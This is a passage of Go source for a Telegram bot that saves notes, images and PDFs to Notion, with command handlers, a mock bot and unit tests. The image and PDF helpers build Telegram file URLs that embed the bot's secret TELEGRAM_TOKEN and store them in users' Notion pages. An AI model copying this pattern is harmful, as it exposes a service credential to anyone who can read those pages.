page") continue } button := tgbotapi.NewInlineKeyboardButtonData(title, callbackData) row := []tgbotapi.InlineKeyboardButton{button} rows = append(rows, row) } if len(rows) == 0 { return fmt.Errorf("no valid pages to display") } inlineKeyboardMarkup := tgbotapi.NewInlineKeyboardMarkup(rows...) msg := tgbotapi.NewMessage(chatId, buttonText) msg.ReplyMarkup = inlineKeyboardMarkup _, err := b.TelegramClient.Send(msg) return err } func (b *Bot) SendMessage(msg string, chatId int, formatMarkdown bool, escape bool) error { if len(msg) >= utils.MAX_LEN_MESSAGE { msgs := utils.SplitString(msg) for _, m := range msgs { _, err := b.TelegramClient.Send(tgbotapi.NewMessage(int64(chatId), m)) if err != nil { b.Logger().WithFields(logrus.Fields{"error": err}).Error("failed to send message") return err } } } else { _, err := b.TelegramClient.Send(tgbotapi.NewMessage(int64(chatId), msg)) if err != nil { b.Logger().WithFields(logrus.Fields{"error": err}).Error("failed to send message") return err } } return nil } func (b *Bot) loadHelpMessage() { b.helpMessage = utils.HELP_STRING } func (b *Bot) SetTelegramClient(bot *tgbotapi.BotAPI) { b.TelegramClient = bot } func (b *Bot) GetTelegramClient() *tgbotapi.BotAPI { return b.TelegramClient } func (b *Bot) SetR2Client(bot r2.R2Interface) { b.R2Client = bot } func (b *Bot) SetUserRepo(db db.UserRepoInterface) { b.UserRepo = db } func (b *Bot) GetUserRepo() db.UserRepoInterface { return b.UserRepo } func (b *Bot) SetNotionUser(token string) { if b.NotionClient == nil { b.NotionClient = make(map[string]string) } b.NotionClient[token] = "" } func (b *Bot) Logger() *logrus.Logger { return b.logger } func (b *Bot) initializeHandlers() map[string]func(ctx context.Context, update *tgbotapi.Update) { return map[string]func(ctx context.Context, update *tgbotapi.Update){ "/start": func(ctx context.Context, update *tgbotapi.Update) { kb := tgbotapi.NewReplyKeyboard( tgbotapi.NewKeyboardButtonRow( tgbotapi.NewKeyboardButton("/note"), tgbotapi.NewKeyboardButton("/register"), ), tgbotapi.NewKeyboardButtonRow( tgbotapi.NewKeyboardButton("/defaultpage"), tgbotapi.NewKeyboardButton("/getdefaultpage"), ), tgbotapi.NewKeyboardButtonRow( tgbotapi.NewKeyboardButton("/help"), ), ) msg := tgbotapi.NewMessage(update.Message.Chat.ID, "Welcome to notion-echo bot!") msg.ReplyMarkup = kb _, err := b.TelegramClient.Send(msg) if err != nil { log.Println(err) } }, utils.COMMAND_NOTE: NewNoteCommand(b, buildNotionClient), utils.COMMAND_HELP: NewHelpCommand(b), utils.COMMAND_REGISTER: NewRegisterCommand(b, generateStateToken), utils.COMMAND_DEFAULT_PAGE: NewDefaultPageCommand(b, buildNotionClient), utils.COMMAND_GET_DEFAULT_PAGE: NewGetDefaultPageCommand(b), utils.COMMAND_DEAUTHORIZE: NewDeauthorizeCommand(b), // admin command utils.COMMAND_SEND_ALL: NewSendAllCommand(b), } } func generateStateToken() (string, error) { b := make([]byte, 32) _, err := rand.Read(b) if err != nil { return "", err } stateToken := base64.URLEncoding.EncodeToString(b) return stateToken, nil } func buildNotionClient(ctx context.Context, userRepo db.UserRepoInterface, id int, notionToken string) (notion.NotionInterface, error) { token, err := userRepo.GetNotionTokenByID(ctx, id) if err != nil { return nil, err } return notion.NewNotionService(notionapi.NewClient(notionapi.Token(token))), nil } func (b *Bot) GetUserState(userID int) string { return b.state.Get(userID) } func (b *Bot) SetUserState(userID int, msg string) { b.state.Set(userID, msg) } func (b *Bot) DeleteUserState(userID int) { b.state.Delete(userID) } ``` ## /bot/bot_mock.go ```go path="/bot/bot_mock.go" package bot import ( "context" tgbotapi "github.com/OvyFlash/telegram-bot-api" "github.com/jomei/notionapi" "github.com/notion-echo/adapters/db" "github.com/notion-echo/adapters/ent" "github.com/notion-echo/adapters/r2" "github.com/notion-echo/bot/types" "github.com/sirupsen/logrus" ) var _ types.IBot = (*MockBot)(nil) type MockBot struct { Resp []string Err error usersDb db.UserRepoInterface } func (b *MockBot) SendButtonWithData(chatId int64, buttonText string, pages []*notionapi.Page) error { return nil } func NewMockBot(usersDb db.UserRepoInterface) *MockBot { return &MockBot{ usersDb: usersDb, } } func (b *MockBot) SendMessage(msg string, chatId int, formatMarkdown bool, escape bool) error { if b.Err != nil { return b.Err } b.Resp = append(b.Resp, msg) return nil } func (b *MockBot) Start(ctx context.Context) {} func (b *MockBot) GetHelpMessage() string { return "help message" } func (b *MockBot) SetTelegramClient(bot *tgbotapi.BotAPI) {} func (b *MockBot) SetR2Client(bot r2.R2Interface) {} func (b *MockBot) GetTelegramClient() *tgbotapi.BotAPI { return nil } func (b *MockBot) SetUserRepo(db db.UserRepoInterface) { } func (b *MockBot) GetUserRepo() db.UserRepoInterface { return b.usersDb } func (b *MockBot) SendButtonWithURL(chatId int64, buttonText, url, msgTxt string) error { return nil } var ( update = func(opts ...func(*tgbotapi.Update)) *tgbotapi.Update { update := &tgbotapi.Update{ Message: &tgbotapi.Message{ Chat: tgbotapi.Chat{ ID: 1, }, }, } for _, o := range opts { o(update) } return update } withMessage = func(msg string) func(*tgbotapi.Update) { return func(up *tgbotapi.Update) { up.Message.Text = msg } } withId = func(id int) func(*tgbotapi.Update) { return func(up *tgbotapi.Update) { up.Message.Chat.ID = int64(id) } } ) var ( bot = func(opts ...func(*MockBot)) *MockBot { bot := NewMockBot(db.NewUserRepoMock(map[int]*ent.User{}, nil)) for _, o := range opts { o(bot) } return bot } withUserRepo = func(repo db.UserRepoInterface) func(*MockBot) { return func(mb *MockBot) { mb.usersDb = repo } } ) func (b *MockBot) SetNotionClient(token string, notionToken string) {} func (b *MockBot) GetNotionClient(userId string) string { return "" } func (b *MockBot) SetNotionUser(token string) {} func (b *MockBot) Logger() *logrus.Logger { return logrus.New() } func (b *MockBot) GetUserState(userID int) string { return "" } func (b *MockBot) SetUserState(userID int, msg string) {} func (b *MockBot) DeleteUserState(userID int) {} ``` ## /bot/deauthorize_command.go ```go path="/bot/deauthorize_command.go" package bot import ( "context" "fmt" tgbotapi "github.com/OvyFlash/telegram-bot-api" "github.com/notion-echo/bot/types" "github.com/notion-echo/errors" "github.com/notion-echo/metrics" "github.com/prometheus/client_golang/prometheus" "github.com/sirupsen/logrus" ) var _ types.ICommand = (*DeauthorizeCommand)(nil) type DeauthorizeCommand struct { types.IBot } func NewDeauthorizeCommand(bot types.IBot) types.Command { hc := DeauthorizeCommand{ IBot: bot, } return hc.Execute } func (dc *DeauthorizeCommand) Execute(ctx context.Context, update *tgbotapi.Update) { if dc == nil || dc.IBot == nil { return } id := int(update.Message.Chat.ID) dc.Logger().Infof("[DeauthorizeCommand] got deauthorize request from %d", id) metrics.DeauthorizeCount.With(prometheus.Labels{"id": fmt.Sprint(id)}).Inc() err := dc.GetUserRepo().DeleteUser(ctx, id) if err != nil { dc.Logger().WithFields(logrus.Fields{"error": err}).Error("deauthorize error") dc.SendMessage(errors.ErrDeleting.Error(), id, true, true) return } dc.SendMessage("deleted user", id, true, true) } ``` ## /bot/deauthorize_command_test.go ```go path="/bot/deauthorize_command_test.go" package bot import ( "context" "sort" "testing" tgbotapi "github.com/OvyFlash/telegram-bot-api" "github.com/google/go-cmp/cmp" ) func TestDeauthorizeCommandExecute(t *testing.T) { type fields struct { update *tgbotapi.Update bot *MockBot } tests := []struct { name string fields fields want []string err bool }{ { "deauthorize", fields{ update: update(withMessage("/deauthorize"), withId(1)), bot: bot(), }, []string{"deleted user"}, false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { b := tt.fields.bot ec := NewDeauthorizeCommand(b) ec(context.Background(), tt.fields.update) sort.Strings(b.Resp) sort.Strings(tt.want) if diff := cmp.Diff(b.Resp, tt.want); diff != "" { t.Errorf("error %s: (- got, + want) %s\n", tt.name, diff) } u, err := tt.fields.bot.usersDb.GetUser(context.TODO(), int(tt.fields.update.Message.Chat.ID)) if err != nil { t.Errorf("test: %v\nexpected user to not be present", tt.name) } if u != nil && !tt.err { t.Errorf("test: %v\nexpected user to not be present", tt.name) } }) } } ``` ## /bot/default_page_command.go ```go path="/bot/default_page_command.go" package bot import ( "context" tgbotapi "github.com/OvyFlash/telegram-bot-api" "github.com/notion-echo/adapters/db" "github.com/notion-echo/adapters/notion" "github.com/notion-echo/bot/types" notionerrors "github.com/notion-echo/errors" "github.com/sirupsen/logrus" ) var _ types.ICommand = (*DefaultPageCommand)(nil) type DefaultPageCommand struct { types.IBot buildNotionClient func(ctx context.Context, userRepo db.UserRepoInterface, id int, notionToken string) (notion.NotionInterface, error) } func NewDefaultPageCommand(bot types.IBot, buildNotionClient func(ctx context.Context, userRepo db.UserRepoInterface, id int, notionToken string) (notion.NotionInterface, error)) types.Command { hc := DefaultPageCommand{ IBot: bot, buildNotionClient: buildNotionClient, } return hc.Execute } func (dc *DefaultPageCommand) Execute(ctx context.Context, update *tgbotapi.Update) { if dc == nil || dc.IBot == nil { return } id := int(update.Message.Chat.ID) dc.Logger().Infof("[DefaultPageCommand] got defaultpage request from %d", id) notionToken, err := dc.GetUserRepo().GetNotionTokenByID(ctx, id) if err != nil { dc.Logger().WithFields(logrus.Fields{"error": err}).Errorf("default page error: %v", err) dc.SendMessage(notionerrors.ErrNotRegistered.Error(), id, false, true) return } notionClient, err := dc.buildNotionClient(ctx, dc.GetUserRepo(), id, notionToken) if err != nil { dc.Logger().WithFields(logrus.Fields{"error": err}).Errorf("default page error: %v", err) dc.SendMessage(notionerrors.ErrSetDefaultPage.Error(), id, false, true) return } pages, err := notionClient.ListPages(ctx) if err != nil { dc.Logger().WithFields(logrus.Fields{"error": err}).Errorf("default page error: %v", err) return } if len(pages) == 0 { dc.Logger().WithFields(logrus.Fields{"error": err}).Errorf("default page error: %v", err) dc.SendMessage(notionerrors.ErrBotNotAuthorized.Error(), id, false, true) return } err = dc.SendButtonWithData( int64(id), "Select the page you want to set as default", pages, ) if err != nil { dc.Logger().WithFields(logrus.Fields{"error": err}).Errorf("default page error: %v", err) } } ``` ## /bot/default_page_command_test.go ```go path="/bot/default_page_command_test.go" package bot import ( "context" "errors" "os" "testing" tgbotapi "github.com/OvyFlash/telegram-bot-api" "github.com/jomei/notionapi" "github.com/notion-echo/adapters/db" "github.com/notion-echo/adapters/ent" "github.com/notion-echo/adapters/notion" ) func TestDefaultPageCommandExecute(t *testing.T) { type fields struct { update *tgbotapi.Update envs map[string]string bot *MockBot pages map[string]*notionapi.Page buildNotionClientErr error } tests := []struct { name string fields fields wantUsers *ent.User err bool }{ { "set default page", fields{ update: update(withMessage("/defaultpage test"), withId(1)), envs: map[string]string{}, bot: bot(), pages: map[string]*notionapi.Page{ "test": { ID: "1", Object: notionapi.ObjectTypeBlock, }, }, }, &ent.User{ ID: 1, }, false, }, { "cannot find environment variables", fields{ update: update(withMessage("/defaultpage test"), withId(1)), envs: map[string]string{}, bot: bot(), }, &ent.User{ ID: 1, }, false, }, { "build notion client error", fields{ update: update(withMessage("/defaultpage test"), withId(1)), envs: map[string]string{}, bot: bot(), buildNotionClientErr: errors.New(""), }, &ent.User{ ID: 1, }, false, }, { "empty page id received", fields{ update: update(withMessage("/defaultpage test"), withId(1)), envs: map[string]string{}, bot: bot(), pages: map[string]*notionapi.Page{ "test": { ID: "", Object: notionapi.ObjectTypeBlock, }, }, }, &ent.User{ ID: 1, }, false, }, { "empty page object received", fields{ update: update(withMessage("/defaultpage test"), withId(1)), envs: map[string]string{}, bot: bot(), pages: map[string]*notionapi.Page{ "test": { ID: "1", Object: "", }, }, }, &ent.User{ ID: 1, }, false, }, { "no page in command", fields{ update: update(withMessage("/defaultpage"), withId(1)), envs: map[string]string{}, bot: bot(), pages: map[string]*notionapi.Page{ "test": { ID: "1", Object: "", }, }, }, &ent.User{ ID: 1, }, false, }, { "error getting default page", fields{ update: update(withMessage("/defaultpage test"), withId(1)), envs: map[string]string{}, bot: bot(), pages: map[string]*notionapi.Page{ "test": { ID: "1", Object: notionapi.ObjectTypeBlock, }, }, }, &ent.User{ ID: 1, }, false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { for k, v := range tt.fields.envs { os.Setenv(k, v) } ec := NewDefaultPageCommand(tt.fields.bot, func(ctx context.Context, userRepo db.UserRepoInterface, id int, notionToken string) (notion.NotionInterface, error) { return notion.NewNotionMock(tt.fields.pages, tt.fields.bot.Err), tt.fields.buildNotionClientErr }) ec(context.Background(), tt.fields.update) if (tt.fields.bot.Err != nil) != tt.err { t.Errorf("Bot.Execute() error = %v", tt.fields.bot.Err) } t.Cleanup(func() { for k := range tt.fields.envs { os.Setenv(k, "") } }) }) } } ``` ## /bot/get_default_page_command.go ```go path="/bot/get_default_page_command.go" package bot import ( "context" "fmt" tgbotapi "github.com/OvyFlash/telegram-bot-api" "github.com/notion-echo/bot/types" "github.com/notion-echo/errors" "github.com/notion-echo/metrics" "github.com/prometheus/client_golang/prometheus" "github.com/sirupsen/logrus" ) var _ types.ICommand = (*GetDefaultPageCommand)(nil) type GetDefaultPageCommand struct { types.IBot } func NewGetDefaultPageCommand(bot types.IBot) types.Command { hc := GetDefaultPageCommand{ IBot: bot, } return hc.Execute } func (dc *GetDefaultPageCommand) Execute(ctx context.Context, update *tgbotapi.Update) { if dc == nil || dc.IBot == nil { return } id := int(update.Message.Chat.ID) dc.Logger().Infof("[GetDefaultPageCommand] got getdefaultpage request from %d", id) metrics.GetDefaultPageCount.With(prometheus.Labels{"id": fmt.Sprint(id)}).Inc() defaultPage, err := dc.GetUserRepo().GetDefaultPage(ctx, id) if err != nil { dc.Logger().WithFields(logrus.Fields{"error": err}).Error("default page error") } if err != nil || defaultPage == "" { dc.SendMessage(errors.ErrPageNotFound.Error(), id, false, true) return } dc.SendMessage(fmt.Sprintf("your default page is **%s**", defaultPage), id, true, true) } ``` ## /bot/get_default_page_command_test.go ```go path="/bot/get_default_page_command_test.go" package bot import ( "context" "errors" "sort" "testing" tgbotapi "github.com/OvyFlash/telegram-bot-api" "github.com/google/go-cmp/cmp" "github.com/notion-echo/adapters/db" "github.com/notion-echo/adapters/ent" notionerrors "github.com/notion-echo/errors" ) func TestGetDefaultPageCommandExecute(t *testing.T) { type fields struct { update *tgbotapi.Update bot *MockBot } tests := []struct { name string fields fields want []string }{ { "request default page", fields{ update: update(withMessage("/getdefaultpage"), withId(1)), bot: bot(withUserRepo(&db.UserRepoMock{ Db: map[int]*ent.User{ 1: { ID: 1, StateToken: "token", DefaultPage: "test", }, }, })), }, []string{"your default page is **test**"}, }, { "empty page", fields{ update: update(withMessage("/getdefaultpage"), withId(1)), bot: bot(withUserRepo(&db.UserRepoMock{ Db: map[int]*ent.User{ 1: { ID: 1, StateToken: "token", DefaultPage: "", }, }, })), }, []string{notionerrors.ErrPageNotFound.Error()}, }, { "error getting default page", fields{ update: update(withMessage("/getdefaultpage"), withId(1)), bot: bot(withUserRepo(&db.UserRepoMock{ Err: errors.New(""), })), }, []string{notionerrors.ErrPageNotFound.Error()}, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { b := tt.fields.bot ec := NewGetDefaultPageCommand(b) ec(context.Background(), tt.fields.update) sort.Strings(b.Resp) sort.Strings(tt.want) if diff := cmp.Diff(b.Resp, tt.want); diff != "" { t.Errorf("error %s: (- got, + want) %s\n", tt.name, diff) } }) } } ``` ## /bot/help_command.go ```go path="/bot/help_command.go" package bot import ( "context" "fmt" tgbotapi "github.com/OvyFlash/telegram-bot-api" "github.com/notion-echo/bot/types" "github.com/notion-echo/metrics" "github.com/prometheus/client_golang/prometheus" "github.com/sirupsen/logrus" ) var _ types.ICommand = (*HelpCommand)(nil) type HelpCommand struct { types.IBot } func NewHelpCommand(bot types.IBot) types.Command { hc := HelpCommand{ IBot: bot, } return hc.Execute } func (hc *HelpCommand) Execute(ctx context.Context, update *tgbotapi.Update) { if hc == nil || hc.IBot == nil { return } helpMessage := hc.GetHelpMessage() id := int(update.Message.Chat.ID) metrics.HelpCount.With(prometheus.Labels{"id": fmt.Sprint(id)}).Inc() err := hc.SendMessage(helpMessage, id, true, true) if err != nil { hc.Logger().WithFields(logrus.Fields{"error": err}).Error("help error") } } ``` ## /bot/help_command_test.go ```go path="/bot/help_command_test.go" package bot import ( "context" "sort" "testing" tgbotapi "github.com/OvyFlash/telegram-bot-api" "github.com/google/go-cmp/cmp" "github.com/notion-echo/adapters/ent" ) func TestHelpCommandExecute(t *testing.T) { type fields struct { update *tgbotapi.Update bot *MockBot } tests := []struct { name string fields fields want []string wantUsers *ent.User err bool }{ { "help", fields{ update: update(withMessage("/help"), withId(1)), bot: bot(), }, []string{"help message"}, &ent.User{ ID: 1, }, false, }, { "help with parameter", fields{ update: update(withMessage("/help a"), withId(1)), bot: bot(), }, []string{"help message"}, &ent.User{ ID: 1, }, false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { b := tt.fields.bot ec := NewHelpCommand(b) ec(context.Background(), tt.fields.update) if (b.Err != nil) != tt.err { t.Errorf("Bot.Execute() error = %v", b.Err) } sort.Strings(b.Resp) sort.Strings(tt.want) if diff := cmp.Diff(b.Resp, tt.want); diff != "" { t.Errorf("error %s: (- got, + want) %s\n", tt.name, diff) } }) } } ``` ## /bot/note_command.go ```go path="/bot/note_command.go" package bot import ( "context" "fmt" "os" "strings" tgbotapi "github.com/OvyFlash/telegram-bot-api" "github.com/jomei/notionapi" "github.com/notion-echo/adapters/db" "github.com/notion-echo/adapters/ent" "github.com/notion-echo/adapters/notion" "github.com/notion-echo/bot/types" notionerrors "github.com/notion-echo/errors" "github.com/notion-echo/metrics" "github.com/notion-echo/utils" "github.com/prometheus/client_golang/prometheus" "github.com/sirupsen/logrus" ) var _ types.ICommand = (*NoteCommand)(nil) const ( NOTE_SAVED = "note saved" ) var BotEmoji = notionapi.Emoji("🤖") type NoteCommand struct { types.IBot buildNotionClient func(ctx context.Context, userRepo db.UserRepoInterface, id int, token string) (notion.NotionInterface, error) } func NewNoteCommand(bot types.IBot, buildNotionClient func(ctx context.Context, userRepo db.UserRepoInterface, id int, token string) (notion.NotionInterface, error)) types.Command { hc := NoteCommand{ IBot: bot, buildNotionClient: buildNotionClient, } return hc.Execute } func (cc *NoteCommand) Execute(ctx context.Context, update *tgbotapi.Update) { if cc == nil || cc.IBot == nil { return } id := int(update.Message.Chat.ID) cc.Logger().Infof("[NoteCommand] got note from %d", id) metrics.NoteCount.With(prometheus.Labels{"id": fmt.Sprint(id)}).Inc() blocks := ¬ionapi.AppendBlockChildrenRequest{} messageText := update.Message.Text if update.Message.Caption != "" { messageText = update.Message.Caption } var pageName string var noteText string if !strings.Contains(messageText, "—page") { noteText = strings.Replace(messageText, "/note", "", 1) if noteText == "" { cc.SetUserState(id, "/note") cc.SendMessage("write your note in the next message", id, false, true) return } } // the noteText contains --page string if noteText == "" { parts := strings.SplitN(messageText, "\"", 3) if len(parts) < 3 { cc.SendMessage("Make sure you have enclosed the page name in quotes.", id, false, true) return } pageName = parts[1] noteText = parts[2] if pageName == "" { cc.SendMessage("No page name specified.", id, false, true) return } if noteText == "" { cc.SetUserState(id, "/note") cc.SendMessage("write your note in the next message", id, false, true) return } } defer func(userID int) { if cc.GetUserState(userID) != "" { cc.DeleteUserState(userID) } }(id) var err error filePath := "" children := []notionapi.Block{} if update.Message.Document != nil && update.Message.Document.FileID != "" { filePath, err = downloadAndUploadDocument(cc.IBot, update.Message.Document) } if update.Message.Photo != nil { cc.SendMessage(`ensure your photo is sent without compression!, I will save it for you but you could have issues in visualizing it`, id, false, true) filePath, err = downloadAndUploadImage(cc.IBot, update.Message.Photo[0]) } if err != nil { cc.Logger().WithFields(logrus.Fields{"error": err}).Error("note error") cc.SendMessage("file error", id, false, true) return } if filePath != "" { children = append(children, buildBlock(filePath)) } blocks.Children = append(blocks.Children, buildCalloutBlock(noteText, children)) notionToken, err := cc.GetUserRepo().GetNotionTokenByID(ctx, id) if err != nil { cc.Logger().WithFields(logrus.Fields{"error": err}).Error("note error") cc.SendMessage(notionerrors.ErrNotRegistered.Error(), id, false, true) return } notionClient, err := cc.buildNotionClient(ctx, cc.GetUserRepo(), id, notionToken) if err != nil { cc.Logger().WithFields(logrus.Fields{"error": err}).Error("note error") cc.SendMessage(notionerrors.ErrNotRegistered.Error(), id, false, true) return } if pageName == "" { defaultPage, err := cc.GetUserRepo().GetDefaultPage(ctx, id) // we ignore the err not found because if we cannot find the page in the db // the empty string will still look for all pages the bot has access to and select // the first one to write on if err != nil && !ent.IsNotFound(err) { cc.Logger().WithFields(logrus.Fields{"error": err}).Error("note error") cc.SendMessage(notionerrors.ErrPageNotFound.Error(), id, false, true) return } pageName = defaultPage } pages, err := notionClient.SearchPage(ctx, pageName) if err != nil { cc.Logger().WithFields(logrus.Fields{"error": err}).Error("note error") cc.SendMessage(notionerrors.ErrPageNotFound.Error(), id, false, true) return } if len(pages) == 0 { cc.Logger().WithFields(logrus.Fields{"error": err}).Error("note error") cc.SendMessage(notionerrors.ErrBotNotAuthorized.Error(), id, false, true) return } page := pages[0] _, err = notionClient.Block().AppendChildren(ctx, notionapi.BlockID(page.ID), blocks) if err != nil { cc.Logger().WithFields(logrus.Fields{"error": err}).Error("note error") cc.SendMessage(notionerrors.ErrSaveNote.Error(), id, false, true) return } cc.SendMessage(fmt.Sprintf("%s on %s page", NOTE_SAVED, notion.ExtractName(page.Properties)), id, false, false) } func downloadAndUploadDocument(bot types.IBot, ps *tgbotapi.Document) (string, error) { _, err := os.Create(ps.FileID) if err != nil { return "", err } // This get file is performed to be able to get // the filename to retrieve file, err := bot.GetTelegramClient().GetFile(tgbotapi.FileConfig{ FileID: ps.FileID, }) if err != nil { return "", err } return file.FilePath, os.Remove(ps.FileID) } func downloadAndUploadImage(bot types.IBot, ps tgbotapi.PhotoSize) (string, error) { _, err := os.Create(ps.FileID) if err != nil { return "", err } file, err := bot.GetTelegramClient().GetFile(tgbotapi.FileConfig{ FileID: ps.FileID, }) if err != nil { return "", err } return file.FilePath, nil } func buildBlock(path string) (b notionapi.Block) { ext := utils.GetExt(path) // bot-allowed file extensions switch ext { case "pdf": b = buildPdfBlock(path) case "png", "jpg", "jpeg": b = buildImageBlock(path) } return b } func buildCalloutBlock(text string, children []notionapi.Block) *notionapi.CalloutBlock { callout := ¬ionapi.CalloutBlock{ BasicBlock: notionapi.BasicBlock{ Type: notionapi.BlockCallout, Object: "block", }, Callout: notionapi.Callout{ Icon: ¬ionapi.Icon{ Type: "emoji", Emoji: &BotEmoji, }, RichText: []notionapi.RichText{ { Text: ¬ionapi.Text{Content: text}, }, }, Children: children, }, } return callout } func buildPdfBlock(path string) *notionapi.PdfBlock { url := fmt.Sprintf("https://api.telegram.org/file/bot%s/%s", os.Getenv("TELEGRAM_TOKEN"), path) file := ¬ionapi.PdfBlock{ BasicBlock: notionapi.BasicBlock{ Object: "block", Type: notionapi.BlockTypePdf, }, Pdf: notionapi.Pdf{ Type: "external", External: ¬ionapi.FileObject{ URL: url, }, }, } return file } func buildImageBlock(path string) *notionapi.ImageBlock { url := fmt.Sprintf("https://api.telegram.org/file/bot%s/%s", os.Getenv("TELEGRAM_TOKEN"), path) image := ¬ionapi.ImageBlock{ BasicBlock: notionapi.BasicBlock{ Object: "block", Type: notionapi.BlockTypeImage, }, Image: notionapi.Image{ Type: "external", External: ¬ionapi.FileObject{ URL: url, }, }, } return image } ``` ## /bot/note_command_test.go ```go path="/bot/note_command_test.go" package bot import ( "context" "errors" "os" "sort" "testing" tgbotapi "github.com/OvyFlash/telegram-bot-api" "github.com/google/go-cmp/cmp" "github.com/jomei/notionapi" "github.com/notion-echo/adapters/db" "github.com/notion-echo/adapters/ent" "github.com/notion-echo/adapters/notion" boterrors "github.com/notion-echo/errors" ) func TestNoteCommandExecute(t *testing.T) { type fields struct { update *tgbotapi.Update envs map[string]string bot *MockBot pages map[string]*notionapi.Page buildNotionClientErr error } tests := []struct { name string fields fields want []string wantUsers *ent.User err bool }{ { "save note", fields{ update: update(withMessage("/note test"), withId(1)), envs: map[string]string{}, bot: bot(withUserRepo(&db.UserRepoMock{ Db: map[int]*ent.User{ 1: { ID: 1, StateToken: "token", DefaultPage: "test", }, }, })), pages: map[string]*notionapi.Page{ "test": { ID: "1", Object: notionapi.ObjectTypeBlock, Properties: map[string]notionapi.Property{ "title": ¬ionapi.TitleProperty{ Title: []notionapi.RichText{ { Text: ¬ionapi.Text{ Content: "Title", }, }, }, }, }, }, }, }, []string{ "note saved on Title page", }, &ent.User{ ID: 1, }, false, }, { "save note", fields{ update: update(withMessage("/note —page \"testPage\" test"), withId(1)), envs: map[string]string{}, bot: bot(withUserRepo(&db.UserRepoMock{ Db: map[int]*ent.User{ 1: { ID: 1, StateToken: "token", DefaultPage: "test", }, }, })), pages: map[string]*notionapi.Page{ "test": { ID: "1", Object: notionapi.ObjectTypeBlock, Properties: map[string]notionapi.Property{ "title": ¬ionapi.TitleProperty{ Title: []notionapi.RichText{ { Text: ¬ionapi.Text{ Content: "Title", }, }, }, }, }, }, }, }, []string{ "note saved on Title page", }, &ent.User{ ID: 1, }, false, }, { "save note with no default page in db", fields{ update: update(withMessage("/note —page \"testPage\" test"), withId(1)), envs: map[string]string{}, bot: bot(withUserRepo(&db.UserRepoMock{ Db: map[int]*ent.User{}, })), pages: map[string]*notionapi.Page{ "test": { ID: "1", Object: notionapi.ObjectTypeBlock, Properties: map[string]notionapi.Property{ "title": ¬ionapi.TitleProperty{ Title: []notionapi.RichText{ { Text: ¬ionapi.Text{ Content: "Title", }, }, }, }, }, }, }, }, []string{ "note saved on Title page", }, &ent.User{ ID: 1, }, false, }, { "save note with no page selected and no page defaulted", fields{ update: update(withMessage("/note test"), withId(1)), envs: map[string]string{}, bot: bot(withUserRepo(&db.UserRepoMock{ Db: map[int]*ent.User{}, })), pages: map[string]*notionapi.Page{ "test": { ID: "1", Object: notionapi.ObjectTypeBlock, Properties: map[string]notionapi.Property{ "title": ¬ionapi.TitleProperty{ Title: []notionapi.RichText{ { Text: ¬ionapi.Text{ Content: "Title", }, }, }, }, }, }, }, }, []string{ "note saved on Title page", }, &ent.User{ ID: 1, }, false, }, { "save note with page flag and no note", fields{ update: update(withMessage("/note —page \"Test\""), withId(1)), envs: map[string]string{}, bot: bot(withUserRepo(&db.UserRepoMock{ Db: map[int]*ent.User{}, })), pages: map[string]*notionapi.Page{ "test": { ID: "1", Object: notionapi.ObjectTypeBlock, Properties: map[string]notionapi.Property{ "title": ¬ionapi.TitleProperty{ Title: []notionapi.RichText{ { Text: ¬ionapi.Text{ Content: "Title", }, }, }, }, }, }, }, }, []string{ "write your note in the next message", }, &ent.User{ ID: 1, }, false, }, { "save note with next message", fields{ update: update(withMessage("/note"), withId(1)), envs: map[string]string{}, bot: bot(), pages: map[string]*notionapi.Page{ "test": { ID: "1", Object: notionapi.ObjectTypeBlock, }, }, }, []string{ "write your note in the next message", }, &ent.User{ ID: 1, }, false, }, { "user not registered", fields{ update: update(withMessage("/note test"), withId(1)), envs: map[string]string{}, bot: bot(), buildNotionClientErr: errors.New(""), }, []string{ boterrors.ErrNotRegistered.Error(), }, &ent.User{ ID: 1, }, false, }, { "user notion page not found", fields{ update: update(withMessage("/note test"), withId(1)), envs: map[string]string{}, bot: bot(), }, []string{ boterrors.ErrBotNotAuthorized.Error(), }, &ent.User{ ID: 1, }, false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { for k, v := range tt.fields.envs { os.Setenv(k, v) } ec := NewNoteCommand(tt.fields.bot, func(ctx context.Context, userRepo db.UserRepoInterface, id int, token string) (notion.NotionInterface, error) { return notion.NewNotionMock(tt.fields.pages, tt.fields.bot.Err), tt.fields.buildNotionClientErr }) ec(context.Background(), tt.fields.update) if (tt.fields.bot.Err != nil) != tt.err { t.Errorf("Bot.Execute() error = %v", tt.fields.bot.Err) } sort.Strings(tt.fields.bot.Resp) sort.Strings(tt.want) if diff := cmp.Diff(tt.fields.bot.Resp, tt.want); diff != "" { t.Errorf("error %s: (- got, + want) %s\n", tt.name, diff) } t.Cleanup(func() { for k := range tt.fields.envs { os.Setenv(k, "") } }) }) } } ``` ## /bot/register_command.go ```go path="/bot/register_command.go" package bot import ( "context" "fmt" "net/url" "os" tgbotapi "github.com/OvyFlash/telegram-bot-api" "github.com/notion-echo/bot/types" "github.com/notion-echo/errors" "github.com/notion-echo/metrics" "github.com/prometheus/client_golang/prometheus" "github.com/sirupsen/logrus" ) var _ types.ICommand = (*RegisterCommand)(nil) type RegisterCommand struct { types.IBot generateStateToken func() (string, error) } func NewRegisterCommand(bot types.IBot, generateStateToken func() (string, error)) types.Command { hc := RegisterCommand{ IBot: bot, generateStateToken: generateStateToken, } return hc.Execute } func (rc *RegisterCommand) Execute(ctx context.Context, update *tgbotapi.Update) { id := int(update.Message.Chat.ID) rc.Logger().Infof("[RegisterCommand] got registration request from %d", id) metrics.RegisterCount.With(prometheus.Labels{"id": fmt.Sprint(id)}).Inc() stateToken, err := rc.generateStateToken() if err != nil { rc.Logger().WithFields(logrus.Fields{"error": err}).Error("register error") rc.SendMessage(errors.ErrStateToken.Error(), id, false, true) return } _, err = rc.GetUserRepo().SaveUser(ctx, id, stateToken) if err != nil { rc.Logger().WithFields(logrus.Fields{"error": err}).Error("register error") rc.SendMessage(errors.ErrRegistering.Error(), id, false, true) return } oauthURL := fmt.Sprintf("%s&state=%s", os.Getenv("OAUTH_URL"), url.QueryEscape(stateToken)) rc.SendButtonWithURL(update.Message.Chat.ID, "Authorize", oauthURL, "click on the following button, and authorize the page you want this bot to have access to") rc.SendMessage("when you have done with registration, select a default page using command /defaultpage with the name of the page you have authorized before", id, true, true) rc.Logger().Infof("[RegisterCommand] registration request from %d ended successfully", id) } ``` ## /bot/register_command_test.go ```go path="/bot/register_command_test.go" package bot import ( "context" "errors" "os" "testing" tgbotapi 